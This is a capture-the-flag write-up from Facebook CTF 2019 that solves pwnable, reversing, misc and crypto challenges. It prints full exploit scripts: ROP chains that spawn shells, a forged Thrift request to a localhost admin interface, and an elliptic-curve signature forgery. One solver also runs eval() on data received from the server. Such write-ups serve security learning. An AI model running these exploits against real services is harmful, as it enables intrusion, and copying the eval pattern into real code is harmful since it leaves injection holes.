Facebook CTF 2019 had been held from June 1st 00:00 UTC to June 2nd 00:00 UTC.
I played this CTF as a member of zer0pts.
We got 9372pts and reached 18th place.
I solved several challs and gained 4718pts.

The CTF was pretty hard but I really enjoyed it. Thank you for holding such a nice CTF!
- [pwnable 100pts] overfloat
- [pwnable 410pts] otp_server
- [misc 100pts] homework_assignment_1337
- [reversing 100pts] imageprot
- [misc 896pts] evil
- [pwnable 494pts] rank
- [misc 961pts] whysapp
- [crypto 919pts] storagespace
The challenge tasks and my solvers are available here. And this is the python library used in my solvers.
[pwnable 100pts] overfloat
Description: nc challenges.fbctf.com 1341 File: overfloat.tar.gz
The binary has a stack overflow in the float array.
We can simply overwrite the return address and do ROP since the SSP is disabled.
I leaked the libc address in the 1st ROP and then went back to _start, and got the shell in the 2nd ROP.
from ptrlib import * from struct import pack, unpack elf = ELF("./overfloat") libc = ELF("./libc-2.27.so") #sock = Process("./overfloat") sock = Socket("challenges.fbctf.com", 1341) rop_pop_rdi = 0x00400a83 plt_puts = 0x400690 def rop(payload): for i in range(0x28 // 8 + 9): sock.recvuntil(": ") sock.sendline("3.14") for i in range(0, len(payload), 4): sock.recvuntil(": ") sock.sendline(repr(unpack('f', payload[i:i+4])[0])) sock.recvuntil(": ") sock.sendline("done") # Stage 1 payload = p64(rop_pop_rdi) payload += p64(elf.got("printf")) payload += p64(plt_puts) payload += p64(elf.symbol("_start")) rop(payload) sock.recvuntil("BON VOYAGE!\n") addr_printf = u64(sock.recvline().rstrip()) libc_base = addr_printf - libc.symbol("printf") dump("libc base = " + hex(libc_base)) # Stage 2 rop_pop_rax = libc_base + 0x000439c7 rop_pop_rsi = libc_base + 0x00023e6a rop_pop_rdx = libc_base + 0x00001b96 rop_syscall = libc_base + 0x000013c0 payload = p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(rop_pop_rsi) payload += p64(0) payload += p64(rop_pop_rdx) payload += p64(0) payload += p64(rop_pop_rax) payload += p64(59) payload += p64(rop_syscall) rop(payload) sock.interactive()
Good.
$ python solve.py
[+] Socket: Successfully connected to challenges.fbctf.com:1341
[ptrlib] libc base = 0x7f298264d000
[ptrlib]$ BON VOYAGE!
cat /home/overfloat/flag
[ptrlib]$ fb{FloatsArePrettyEasy...}
[pwnable 410pts] otp_server
Description: nc challenges.fbctf.com 1338 File: otp_server.tar.gz
We can set key and encrypt a message, which are located in the bss section.
At first glance there seems no overflow.
As I looked into the encryption function, I found the cause of the vulnerability lies in snprintf.
It properly stores our input with maximum length 0x104.
However, the return value of snprintf is not the size finally stored but the size we tried to store.
Also, the buffer is right next to the key and we can coalesce those two regions.
This means we can control the return value of snprintf between 0 to 0x204, which leads a buffer overread.
Now we got the libc address, but how can we get the shell?
Using the same vulnerability, we can overwrite the return address. Although the nonce token is generated randomly, we can check it before exitting the main function. And we can overwrite the return address byte by byte. This method requires long time to finish the exploit, but I think it's the intended way.
from ptrlib import * def set_key(key): sock.recvuntil(">>> ") sock.sendline("1") sock.recvline() sock.send(key) def encrypt(msg): sock.recvuntil(">>> ") sock.sendline("2") sock.recvline() sock.send(msg) sock.recvline() return sock.recvline().rstrip() libc = ELF("./libc-2.27.so") #sock = Process("./otp_server") sock = Socket("challenges3.fbctf.com", 1338) delta = 0xe7 # Leak libc & canary set_key("\xff" * 0x108) result = encrypt("\xff" * 0x100) canary = result[0x108:0x110] addr_libc_start_main = u64(result[0x118:0x120]) libc_base = addr_libc_start_main - libc.symbol("__libc_start_main") - delta dump("libc base = " + hex(libc_base)) dump(b"canary = " + canary) def overwrite(pos, target): x = 0 setFlag = True while True: if setFlag: setFlag = False set_key("A" * (0x18 + pos - x) + "\x00") nonce = u64(encrypt("A" * 0x100)[:4]) ^ 0x41414141 if (target >> (8 * (7 - x))) & 0xff == nonce >> 24: print(hex(target), hex(nonce >> 8)) setFlag = True x += 1 if x == 8: break rop_pop_rdi = libc_base + 0x0002155f rop_pop_rsi = libc_base + 0x00023e6a rop_pop_rax = libc_base + 0x000439c7 rop_ret = libc_base + 0x000008aa rop_syscall = libc_base + 0x000013c0 overwrite(0x30, rop_syscall) overwrite(0x28, 59) overwrite(0x20, rop_pop_rax) overwrite(0x18, 0) overwrite(0x10, rop_pop_rsi) overwrite(0x08, libc_base + next(libc.find("/bin/sh"))) overwrite(0x00, rop_pop_rdi) #_ = input() sock.sendline("3") sock.interactive()
Thank you admins for preparing the server in Tokyo :)
$ python solve.py
[+] Socket: Successfully connected to challenges3.fbctf.com:1338
[ptrlib] libc base = 0x7f1da9615000
[ptrlib] b'canary = \x00\xdd\xc1\xa1<X\x1f\x95'
0x7f1da96163c0 0x7186
0x7f1da96163c0 0x42f
0x7f1da96163c0 0x7f86c1
0x7f1da96163c0 0x1d1602
0x7f1da96163c0 0xa93e39
0x7f1da96163c0 0x610472
0x7f1da96163c0 0x631ad4
0x7f1da96163c0 0xc0757f
0x3b 0xe653
0x3b 0xaa15
0x3b 0x26b7
0x3b 0xf359
0x3b 0xea64
0x3b 0xfebf
0x3b 0x7d33
0x3b 0x3be623
0x7f1da96589c7 0x5efa
0x7f1da96589c7 0x606f
0x7f1da96589c7 0x7fb553
0x7f1da96589c7 0x1d5b94
0x7f1da96589c7 0xa9b825
0x7f1da96589c7 0x65be41
0x7f1da96589c7 0x890277
0x7f1da96589c7 0xc78c49
0x0 0x1704
0x0 0x84f5
0x0 0x4fe3
0x0 0x9d29
0x0 0x40cf
0x0 0xab08
0x0 0x9ff1
0x0 0xe7f2
0x7f1da9638e6a 0x3084
0x7f1da9638e6a 0x5b7d
0x7f1da9638e6a 0x7fb9e7
0x7f1da9638e6a 0x1df8d0
0x7f1da9638e6a 0xa91371
0x7f1da9638e6a 0x63ea9f
0x7f1da9638e6a 0x8eace3
0x7f1da9638e6a 0x6a0c1a
0x7f1da97c8e9a 0xc460
0x7f1da97c8e9a 0xc851
0x7f1da97c8e9a 0x7f005f
0x7f1da97c8e9a 0x1da11d
0x7f1da97c8e9a 0xa9d63c
0x7f1da97c8e9a 0x7cb6b2
0x7f1da97c8e9a 0x8e7195
0x7f1da97c8e9a 0x9a03e9
0x7f1da963655f 0x8b48
0x7f1da963655f 0xae89
0x7f1da963655f 0x7fbafa
0x7f1da963655f 0x1de4ef
0x7f1da963655f 0xa97bea
0x7f1da963655f 0x63ad41
0x7f1da963655f 0x658341
0x7f1da963655f 0x5fe3ba
[ptrlib]$ ----- END ROP ENCRYPTED MESSAGE -----
1. Set Key
2. Encrypt message
3. Exit
>>> [ptrlib]$ cat /home/otp_server/flag
fb{One_byte_aT_a_time}
[misc 100pts] homework_assignment_1337
Description: Your homework assignment this evening is to write a simple Thrift client. Your client must call the ping method on the homework server challenges.fbctf.com:9090. The server allows you to check your work, try using the server to ping facebook.com or something. The ping.thrift file is provided below. File: homework_assignment_1337.tar.gz
We are given a thrift file.
Let's use the PingBot.
if __name__ == '__main__': client = make_client(PingBot, "challenges.fbctf.com", 9090) arg = Ping(Proto.TCP, "facebook.com:80", "Hello") pong = client.ping(arg) print(pong)
Hmm, it seems a proxy rather than a echo server.
$ python solve.py Pong(code=0, data='HTTP/1.1 400 Bad Request\r\n')
The thrift file has a curious function that cannot be used.
// You do not have to call this method as part of your homework. // I added this to check people's work, it is my admin interface so to speak. // It should only work for localhost connections either way, if your client // tries to call it, your connection will be denied, hahaha! PongDebug pingdebug(1:Debug dummy),
OK, so let's send a forgery packet of the PongDebug on the server.
from ptrlib import p32 import thriftpy from thriftpy.rpc import make_client ping = thriftpy.load( 'ping.thrift', module_name="ping_thrift" ) Ping = ping.Ping Pong = ping.Pong Debug = ping.Debug PongDebug = ping.PongDebug PingBot = ping.PingBot Proto = ping.Proto if __name__ == '__main__': client = make_client(PingBot, "challenges.fbctf.com", 9090) packet = b"\x80\x01\x00\x01" packet += p32(len("pingdebug"), order='big') packet += b"pingdebug" packet += b"\x00\x00\x00\x00\x0c\x00\x01\x08\x00\x01\x00\x00\x00\x7b\x00\x00" arg = Ping(Proto.TCP, "localhost:9090", packet) pong = client.ping(arg) print(pong)
Perfect!
$ python solve.py
Pong(code=0, data=b'\x80\x01\x00\x02\x00\x00\x00\tpingdebug\x00\x00\x00\x00\x0c\x00\x00\x0f\x00\x01\x0c\x00\x00\x00\x02\x08\x00\x01\x00\x00\x00\x01\x0b\x00\x02\x00\x00\x00\x0elocalhost:9090\x0b\x00\x03\x00\x00\x00\x1f"fb{congr@ts_you_w1n_the_g@me}"\x00\x08\x00\x01\x00\x00\x00\x01\x0b\x00\x02\x00\x00\x00\x0elocalhost:9090\x0b\x00\x03\x00\x00\x00!\x80\x01\x00\x01\x00\x00\x00\tpingdebug\x00\x00\x00\x00\x0c\x00\x01\x08\x00\x01\x00\x00\x00{\x00\x00\x00\x00\x00')
[reversing 100pts] imageprot
Description: We have had some issues with profile photo theft as of late, so I built a proof of concept vault to store your pictures, it's so secure, even I don't know how to get the photo back out! File: imageprot.tar.gz
It's an ELF binary written with Rust. I found something curious in the binary.
$ string imageprot -n 100 | less /rustc/6c2484dc3c532c052f159264e970278d8b77cdc9/src/libcore/str/pattern.rs9fjfwCA9dx1pMmVgcW90aF11LQr1wSB4ZVhJRl8uY2MudQogICggIi81ICNfIF8hYC8KIKdJIHggLiJhIF4gRiIuIF8sCYAhICNcXzthIiwtLYJifCsvCiAhICAiXtwjICQgICAhOy8IaCAgICDfsV8YcEhPVDBcYk9QABMOECAYImtvJmQKCiAgICAVfxJtcEBhcG90IE3pMIbTryCSJMmgKcfC1mxQoMogMSgiaCxZIyF9IF0xYS0bId/kIGMgLiNlIV8hYSMvIF8sCiAgICBdXThkJysqJStqd9DrCpUwICIhI38iJCMlJSQkOy8LXSEiIyAkTVoyARFhJkx+aycCUTQSobGBaAFgk6EfWPHQBBNPT9kpfnN2aHZuBXsaBSMgFBUWFxgZGhxqa2hpF0Nqc3R1dnl/eXo8RDpGB0ZjSlNUVQpXVlsao9ql5qWmqdW+mbS1trfExqHCgYmIi4XI1YWduZSVlpeYmcbi4+Tl5ufo8uXY8/T19vf4hYXBwsPExbnI4snK0dLT1NXWl9rb2J ... /VgHajKFLJ53yD6MimpC98gTOVxgr34zK9H9M5YDKEyFQxfJA8sC6UbF7Hc6ypKEvDjveeZw9I1ftUA7OaV+bgFwoPd6Z00XT/RX0N1VmiHrE/XtOkff+dqYDsNsDJgHupTWb7yxsyTOTNsEOmhSJ8RO2/FbfFlNKZaV78NbuNsnZxbwrkfWGBy5zkci8P9kp387vgPsTBfOo9lIDRxJSI2cyUKHnFlIDSHPHsz/i9Jc7lYldIw1TVAvRS5rc3d8jIBogTKK/YL6jmrEUjNbm16NF9xJToKcWU0IC1lOiIxZUogMWc6IA5pHiHf89H2d5ngKAWPrShI3q8lIoKgKgiCoHYIgqAqCIKgMQeooCoIgqAqdP2gKgiCoFUHqKAqCIKgKgiC4CgKgOAAIoKgKgiPvVEI1uVrWM30KnWfrQAigqAqCIKgKneMriQG/YoqCIKgKgaFoCp3gt8qSIyKKgiCoHYIjKJqCPygagqMoFUEqKAqCILcVRPCoicFj6JqVI2vAAiCoCoIgvwqCIKgH9/5
It seems to be a base64-encoded string of a big data. I extracted it and decoded the file.
$ hexdump -C pon | less 00000000 f5 f8 df c0 20 3d 77 1d 69 32 65 60 71 6f 74 68 |.... =w.i2e`qoth| 00000010 5d 75 2d 0a f5 c1 20 78 65 58 49 46 5f 2e 63 63 |]u-... xeXIF_.cc| 00000020 2e 75 0a 20 20 28 20 22 2f 35 20 23 5f 20 5f 21 |.u. ( "/5 #_ _!| 00000030 60 2f 0a 20 a7 49 20 78 20 2e 22 61 20 5e 20 46 |`/. .I x ."a ^ F| 00000040 22 2e 20 5f 2c 09 80 21 20 23 5c 5f 3b 61 22 2c |". _,..! #\_;a",| 00000050 2d 2d 82 62 7c 2b 2f 0a 20 21 20 20 22 5e dc 23 |--.b|+/. ! "^.#| 00000060 20 24 20 20 20 21 3b 2f 08 68 20 20 20 20 df b1 | $ !;/.h ..| 00000070 5f 18 70 48 4f 54 30 5c 62 4f 50 00 13 0e 10 20 |_.pHOT0\bOP.... | ...
It has some string such as eXIF and pHOT0\bOP, which reminds me of JPEG header.
I tried to find the XOR key of this file and found the first part to be like \n -=[ teapot ]=-\n\n but the key was too long to restore.
Let's find the key in another way.
When I tried this challenge, @theoldmoon0602 had already found that the binary works if it could resolve challenges.fbctf.com.
@theoldmoon0602 also found that the binary tries to access to http://challenges.fbctf.com:80/vault_is_intern.
So, I added the following config to my /etc/hosts
127.0.0.1 challenges.fbctf.com
and set up the following simple server.
from flask import * app = Flask(__name__) @app.route('/vault_is_intern', methods=['GET']) def vault(): return "Hello, World" if __name__ == '__main__': app.run( host = '0.0.0.0', port = '80', debug=True )
It seems it's working. (It quits when something like gdb is running on the machine.)
$ ./imageprot Welcome to our image verification and protection software! This program ensures that malicious hackers cannot access our secret images. [+] Internal network connectivity verified. [+] Image integrity verified, exiting.
I checked the packets in Wireshark and found a curious DNS packet.

It tries to access to httpbin.org...?
I added the following line to /etc/hosts and run the binary again.
127.0.0.1 httpbin.org
$ ./imageprot
Welcome to our image verification and protection software!
This program ensures that malicious hackers cannot access our
secret images.
[+] Internal network connectivity verified.
thread 'main' panicked at 'Failed to fetch URI: Error(Hyper(Error(Connect, Os { code: 111, kind: ConnectionRefused, message: "Connection refused" })), "https://httpbin.org/status/418")', src/libcore/result.rs:997:5
note: Run with `RUST_BACKTRACE=1` environment variable to display a backtrace.
Finally found the teapot!
$ curl https://httpbin.org/status/418
-=[ teapot ]=-
_...._
.' _ _ `.
| ."` ^ `". _,
\_;`"---"`|//
| ;/
\_ _/
`"""`
Let's restore the JPEG file.
with open("pon", "rb") as f: buf = f.read() with open("key", "rb") as f: key = f.read() for i in range(len(buf)): buf = buf[:i] + bytes([buf[i]^key[i%len(key)]]) + buf[i+1:] with open("out", "wb") as f: f.write(buf)
Great!

[misc 896pts] evil
Description: I'm trying to break into the EVIL club and I've figured out their password. I still can't get in though because they now have a new secret evil handshake. I've attached what I captured from the old handshake, maybe it will help. Server: nc 35.155.188.29 8000 File: evil.tar.gz
@st98 considered that this challenge might be related to the evil bit. So, I tried this one because I like the evil bits :)
The given pcap file has a TCP stream:
What's the secret password then? The word of the day is lemons. Every Villain Is Lemons Welcome to the club evildoer
The packets don't have the evil bits set to 1. However, I found that every evil bit is set to 1 in the remote server.

So, let's set the evil bit to 1 and access to the server. I used this kernel module to modify the evil bit for every packet.
# lsmod | grep evil
evil 16384 0
# nc 35.155.188.29 8000
So you know the evil handshake?
What's the secret password then?
The word of the day is loganberries.
Every Villain Is Loganberries
fb{th4t5_th3_3vi1est_th1ng_!_c4n_im4g1ne}
[pwnable 494pts] rank
Description: nc challenges.fbctf.com 1339 File: rank.tar.gz
There are 12 titles in the bss section but we can access to arbitrary range.
In order to leak the libc address, I prepared the address to write@got in the buffer used in the user input.
# libc leak payload = b"A" * 8 + p64(elf.got("write")) evil_show(payload) rank(0, (addr_buf - addr_list) // 8 + 1) addr_write = u64(show()[0]) libc_base = addr_write - libc.symbol("write") addr_one_gadget = libc_base + 0x10a38c dump("libc base = " + hex(libc_base))
We also have arbitrary overwrite on the stack in the Rank function.
It seems pretty easy to get the shell...?
No.
The problem is that the result of strtol is cast to int, which means we can write only 32-bit values.
So, we can't call system("/bin/sh") directly.
Let's craft a ROP gadget.
There may be useful ROP gadgets hopefully.
I found some gadgets such as pop rdi;, pop rsi; pop r15; as usual.
However, there is no gadget to set rdx like pop rdx;.
We need to change rdx in order to call read(rdi, rsi, rdx); because rdx is set to 0 before exitting the main function.
Don't worry. I have another plan: ret2csu.
Even if we can't set rdi, rsi and rdx, we can use __libc_csu_init to call some functions with maximum 3 arguments.
I called read(0, <strtol@got>, 8) to change strtol to system and then called _start.
The last thing to do is send /bin/sh in the menu.
from ptrlib import * def show(): sock.recvuntil("> ") sock.sendline("1") ret = [] for i in range(12): data = sock.recvline().rstrip().split(b". ") ret.append(data[1]) return ret def evil_show(fmt): sock.recvuntil("> ") sock.sendline(fmt) def rank(i, pos): sock.recvuntil("> ") sock.sendline("2") sock.recvuntil("t1tl3> ") sock.sendline(str(i)) sock.recvuntil("r4nk> ") sock.sendline(str(pos)) libc = ELF("./libc-2.27.so") elf = ELF("./r4nk") #sock = Process("./r4nk") sock = Socket("challenges.fbctf.com", 1339) addr_start = 0x400018 # address that points <start> addr_list = 0x602080 addr_buf = 0x602100 plt_read = 0x4005f0 rop_pop_rdi = 0x00400b43 rop_pop_rsi_r15 = 0x00400b41 rop_prepare_reg = 0x00400b3a rop_csu_init = 0x400b20 # libc leak payload = b"A" * 8 + p64(elf.got("write")) evil_show(payload) rank(0, (addr_buf - addr_list) // 8 + 1) addr_write = u64(show()[0]) libc_base = addr_write - libc.symbol("write") addr_one_gadget = libc_base + 0x10a38c dump("libc base = " + hex(libc_base)) # craft ROP chain payload = [ rop_prepare_reg, 0, # rbx 1, # rbp == rbx + 1 elf.got("read"), # r12 = &<func> 0, # r13 = arg1 elf.got("strtol"), # r14 = arg2 0x8, # r15 = arg3 rop_csu_init, 0xdeadbeef, 0, # rbx 1, # rbp == rbx + 1 addr_start, # r12 = &<func> 0, # r13 = arg1 0, # r14 = arg2 0, # r15 = arg3 rop_csu_init ] for i, addr in enumerate(payload): assert 0 <= addr <= 0xffffffff rank(19 + i, addr) # ROP it sock.recvuntil("> ") sock.sendline("3") sock.send(p64(libc_base + libc.symbol("system"))) # get the shell! sock.recvuntil("> ") sock.sendline("/bin/sh\x00") sock.interactive()
Cool!
$ python solve.py
[+] Socket: Successfully connected to challenges.fbctf.com:1339
[ptrlib] libc base = 0x7f5a3050a000
[ptrlib]$ cat /home/r4nk/flag
[ptrlib]$ flag{wH0_n33ds_pop_rdx_4NYw4y}
[misc 961pts] whysapp
Description: We're working on a brand new sort of encrypted version of Whatsapp, we call it Whysapp. We took the base technology behind Whatsapp and upgraded it to use a super shiny new language. File: whysapp.tar.gz
The server returns a base64-encoded string.
$ nc challenges.fbctf.com 4001 G+jdtmUJh5RurA2yk42yJlZRSIEZKcbWZ+49KB/uhJ4s7dqZiOUTdndHzpPeuG1hOvJUAro/1ob8 3RWUkHOui+X4jKyGxUhkfR/tg1el+9Q=
We are given a beam file of the Elixir language. I don't know of Elixir at all but could disassemble it just by following the steps in this article. Let's see how it works.
This is the recv function:
{:function, :recv, 1, 20,
[{:line, 19}, {:label, 19},
{:func_info, {:atom, Whysapp}, {:atom, :recv}, 1}, {:label, 20},
{:allocate, 1, 1}, {:move, {:integer, 0}, {:x, 1}},
{:move, {:x, 0}, {:y, 0}}, {:line, 20},
{:call_ext, 2, {:extfunc, :gen_tcp, :recv, 2}},
{:test, :is_tagged_tuple, {:f, 21}, [{:x, 0}, 2, {:atom, :ok}]},
{:get_tuple_element, {:x, 0}, 1, {:x, 0}}, {:line, 21},
{:call_ext, 1, {:extfunc, :base64, :decode, 1}},
{:move, {:literal, "yeetyeetyeetyeet"}, {:x, 1}}, {:move, {:x, 0}, {:x, 2}},
{:move, {:atom, :aes_ecb}, {:x, 0}}, {:line, 22},
{:call_ext, 3, {:extfunc, :crypto, :block_decrypt, 3}},
{:move, {:literal, <<0>>}, {:x, 1}}, {:line, 23},
{:call_ext, 2, {:extfunc, String, :trim_trailing, 2}},
{:move, {:x, 0}, {:x, 1}}, {:move, {:y, 0}, {:x, 0}}, {:line, 24},
{:call_ext_last, 2, {:extfunc, Whysapp, :process, 2}, 1}, {:label, 21},
{:line, 20}, {:badmatch, {:x, 0}}]},
It uses AES ECB cipher with the key set to yeetyeetyeetyeet, and passes the decrypted data to process.
I decrypted the packets with this key and found there are several types of messages such as cat:cat, math:53+72 and so on.
I passed this message to the process function of Whysapp and found the following rule.
| Given nessage | Message to send |
|---|---|
| msg:"X" | "random int":msg:"X" |
| cat:cat | "random int":cat:cat |
| ping:ping | "random int":ping:pong |
| math:"exp" | "random int":math:"evaluated exp" |
I made the client and communicated with the server:
... [ptrlib] <<< msg:I look at Google and think they have a strong academic culture. Elegant solutions to complex problems. [ptrlib] >>>995757198:msg:I look at Google and think they have a strong academic culture. Elegant solutions to complex problems. [ptrlib] <<< math:47*32 [ptrlib] >>>58844597:math:1504 [ptrlib] <<< You've exhausted your free messages limit. Only users with low IDs can communicate beyond this point.
Let's set the random id to 1.
[ptrlib] <<< math:26*19 [ptrlib] >>>1:math:494 [ptrlib] <<< math:82*24 [ptrlib] >>>1:math:1968 [ptrlib] <<< msg:I look at Google and think they have a strong academic culture. Elegant solutions to complex problems. [ptrlib] >>>1:msg:I look at Google and think they have a strong academic culture. Elegant solutions to complex problems. [ptrlib] <<< flag:Almost there. Only zuck can issue the flag command. [ptrlib] >>>1:flag:Almost there. Only zuck can issue the flag command. [ptrlib] <<< msg:You're not zuck!!!!!!!!
I had been stuck here and tried brute force.
...
[ptrlib] Attempt: 4
[ptrlib] fb{whys_app_when_you_can_whats_app}
Found the flag haha.
from Crypto.Cipher import AES import base64 import random from ptrlib import * key = "yeetyeetyeetyeet" crypto = AES.new(key, AES.MODE_ECB) flag = False def process(cipher, rid=1): global flag plain = crypto.decrypt(base64.b64decode(cipher)).rstrip(b"\x00") plain = bytes2str(plain) #dump("<<< " + plain) r = 0 #r = random.randint(1, 1000000000) try: ope, data = plain.split(":") except: print(plain) exit() if flag and ope == 'msg': dump("Attempt: " + str(rid)) if "You're not zuck!!!!!!!!" not in data: dump(data) if ope == 'math': # math result = eval(data) plain = "{}:{}:{}".format(r, "math", result) elif ope == 'ping': # ping plain = "{}:ping:pong".format(r) elif ope == 'flag': # flag plain = "{}:flag:{}".format(rid, data) # ????? flag = True else: # cats plain = "{}:{}".format(r, plain) #dump(">>>" + plain) plain += "\x00" * (16 - (len(plain) % 16)) cipher = base64.b64encode(crypto.encrypt(plain)) return cipher log.level = ["warning"] for r in range(0, 0x100000000): sock = Socket("challenges.fbctf.com", 4001) flag = False while True: c = sock.recv() if c is None: break s = process(c, r) sock.sendline(s) sock.close()
[crypto 919pts] storagespace
Description: In order to fit in with all the other CTFs out there, I've written a secure flag storage system!
It accepts commands in the form of json. For example: help(command="flag") will display help info for the flag command, and the request would look like:
{"command": "help", "params": {"command": "flag"}}
flag(name: Optional[str])
Retrieve flag by name.
{"command": "flag", "params": {"name": "myflag"}}
flag{this_is_not_a_real_flag}
You can access it at nc challenges.fbctf.com 8089
P.S. some commands require a signed request. The sign command will take care of that for you, but no way you'll convince me to sign the flag command xD
Server: nc challenges.fbctf.com 8089
We can issue some commands. First of all I wrote helper functions.
from ptrlib import * import json import base64 import re from fastecdsa.curve import Curve from fastecdsa.point import Point import hashlib import sys import time def sign(payload): sign_payload = {"command": "sign", "params":{ "command": payload["command"], "params": payload["params"] }} sock.recv() sock.sendline(json.dumps(sign_payload)) w = sock.recvline() s = json.loads(w.rstrip()) return s def info(): payload = {"command": "info", "params": {}} payload["sig"] = sign(payload)["sig"] sock.recv() sock.sendline(json.dumps(payload)) curve = sock.recvline().rstrip() generator = sock.recvline().rstrip() pubkey = sock.recvline().rstrip() r = re.findall(b"curve: y\*\*2 = x\*\*3 \+ (\d+)\*x \+ (\d+) \(mod (\d+)\)", curve) curve = (int(r[0][0]), int(r[0][1])) prime = int(r[0][2]) r = re.findall(b"generator: \((\d+), (\d+)\)", generator) G = (int(r[0][0]), int(r[0][1])) r = re.findall(b"public key: \((\d+), (\d+)\)", pubkey) pubkey = (int(r[0][0]), int(r[0][1])) return curve, prime, G, pubkey def spec(mode="all"): payload = {"command": "spec", "params": {"mode": mode}} payload["sig"] = sign(payload)["sig"] sock.sendline(json.dumps(payload)) print(bytes2str(sock.recv())) print(bytes2str(sock.recv())) print(bytes2str(sock.recv())) exit() def save(name, flag): payload = {"command": "save","params": {"name": name, "flag": flag}} payload["sig"] = sign(payload)["sig"] sock.recv() sock.sendline(json.dumps(payload)) sock.recvuntil("flag stored\n") def list(): payload = {"command": "list", "params": {}} payload["sig"] = sign(payload)["sig"] sock.recv() sock.sendline(json.dumps(payload)) res = sock.recv() return res.split(b"\n")[:-1]
list shows us that there is just one flag named fbctf.
So, our goal is to issue {"command": "flag", "params": {"name": "fbctf"}} with a valid signature.
The server uses an elliptic curve to sign/verify a message.
The signature is generated like this:
( is a generator of
and
is the order of
.)
The server verifies a message like this:
The point is that the order of is so small that we can successfully calculate the discrete log problem.
Let's make a fake signature for our new message.
If we can find such that
, we can find
for an arbitrary
because
holds.
So, we just need to calculate
.
I divided the process into communication part (solve.py) and calculation part (solve.sage).
solve.py:
from ptrlib import * import json import base64 import re from fastecdsa.curve import Curve from fastecdsa.point import Point import hashlib import sys import time def sign(payload): sign_payload = {"command": "sign", "params":{ "command": payload["command"], "params": payload["params"] }} sock.recv() sock.sendline(json.dumps(sign_payload)) w = sock.recvline() s = json.loads(w.rstrip()) return s def info(): payload = {"command": "info", "params": {}} payload["sig"] = sign(payload)["sig"] sock.recv() sock.sendline(json.dumps(payload)) curve = sock.recvline().rstrip() generator = sock.recvline().rstrip() pubkey = sock.recvline().rstrip() r = re.findall(b"curve: y\*\*2 = x\*\*3 \+ (\d+)\*x \+ (\d+) \(mod (\d+)\)", curve) curve = (int(r[0][0]), int(r[0][1])) prime = int(r[0][2]) r = re.findall(b"generator: \((\d+), (\d+)\)", generator) G = (int(r[0][0]), int(r[0][1])) r = re.findall(b"public key: \((\d+), (\d+)\)", pubkey) pubkey = (int(r[0][0]), int(r[0][1])) return curve, prime, G, pubkey def spec(mode="all"): payload = {"command": "spec", "params": {"mode": mode}} payload["sig"] = sign(payload)["sig"] sock.sendline(json.dumps(payload)) print(bytes2str(sock.recv())) print(bytes2str(sock.recv())) print(bytes2str(sock.recv())) exit() def save(name, flag): payload = {"command": "save","params": {"name": name, "flag": flag}} payload["sig"] = sign(payload)["sig"] sock.recv() sock.sendline(json.dumps(payload)) sock.recvuntil("flag stored\n") def list(): payload = {"command": "list", "params": {}} payload["sig"] = sign(payload)["sig"] sock.recv() sock.sendline(json.dumps(payload)) res = sock.recv() return res.split(b"\n")[:-1] if __name__ == '__main__': fake_payload = {"command": "flag", "params": {"name": "fbctf"}} fake_msg = json.dumps(fake_payload, sort_keys=True) sock = Socket("challenges.fbctf.com", 8089) sock.recvuntil("patience\n") param, n, G, H = info() curve = Curve( name = "taro", p = n, q = n, a = param[0], b = param[1], gx = G[0], gy = G[1] ) G = Point(G[0], G[1], curve=curve) H = Point(H[0], H[1], curve=curve) dump("curve: y^2 = x^3 + {}x + {} mod {}".format(param[0], param[1], n)) dump("G = ({}, {})".format(G.x, G.y)) dump("H = ({}, {})".format(H.x, H.y)) payload = {"command": "help", "params": {}} l = base64.b64decode(sign(payload)["sig"]).split(b"|") r, s = int(l[0]), int(l[1]) dump("r, s = {}, {}".format(s, r)) dump("new_msg = " + fake_msg) with open("input.txt", "w") as f: f.write("{}\n{}\n{}\n{}\n{}\n{}\n{}\n{}\n{}\n".format(n, param[0], param[1], s, r, G.x, G.y, H.x, H.y)) while True: try: sig = sys.stdin.readline().rstrip() if sig: break finally: time.sleep(1) dump("sig = " + sig) payload = {"command": "flag", "params": {"name": "fbctf"}, "sig": sig} sock.recv() sock.sendline(json.dumps(payload)) print(sock.recv()) sock.interactive()
solve.sage:
import hashlib import base64 fake_msg = '{"command": "flag", "params": {"name": "fbctf"}}' n = int(raw_input("n = ")) A = int(raw_input("A = ")) B = int(raw_input("B = ")) s = int(raw_input("s = ")) r = int(raw_input("r = ")) Gx = int(raw_input("Gx = ")) Gy = int(raw_input("Gy = ")) Hx = int(raw_input("Hx = ")) Hy = int(raw_input("Hy = ")) F = Zmod(n) E = EllipticCurve(F, [A, B]) G = E.point((Gx, Gy)) H = E.point((Hx, Hy)) k = n - 314 Q = G * k r = int(hashlib.sha256(fake_msg + str(Q[0])).hexdigest(), 16) pub = discrete_log(H, G, operation='+') assert r * H == pub * r * G s = (k - pub * r) % E.order() sig = base64.b64encode(str(r) + "|" + str(s)) print(pub) print(Q) print(s*G + r*H) print(sig)
Terminal 1:
$ python client.py
[+] Socket: Successfully connected to challenges.fbctf.com:8089
[ptrlib] curve: y^2 = x^3 + 130939496966954247505692064871042135207x + 135139266651492282791665127691622267381 mod 210608707847801565748958054867898833971
[ptrlib] G = (143417176998134602100619591422626758333, 130227579156607644879610759408262650788)
[ptrlib] H = (199079881625313231076143726873011934220, 137375402122334256318232545713548992134)
[ptrlib] r, s = 92207699106857002675556523714181963886, 79157924427059153781815650610767382592467279417582779601053359909339438719209
[ptrlib] new_msg = {"command": "flag", "params": {"name": "fbctf"}}
ODYwNTA1Mzg2ODY1NjI2NjQ5Njc3MzY2OTM2MjcxMDA4MjMzMDkyODkyNDM1NzI0NzI2Mzk5MTA0NDI5NjI3NzIzMjQxMDgzMDQ1NXwxOTg0OTYzMzk0NDExMTI3OTAwMzEyNDc1Njc1MzE5MDQzNjk4Nzk=
[ptrlib] sig = ODYwNTA1Mzg2ODY1NjI2NjQ5Njc3MzY2OTM2MjcxMDA4MjMzMDkyODkyNDM1NzI0NzI2Mzk5MTA0NDI5NjI3NzIzMjQxMDgzMDQ1NXwxOTg0OTYzMzk0NDExMTI3OTAwMzEyNDc1Njc1MzE5MDQzNjk4Nzk=
b'fb{random_curves_are_not_safe?}\n\n'
[ptrlib]$
Terminal 2:
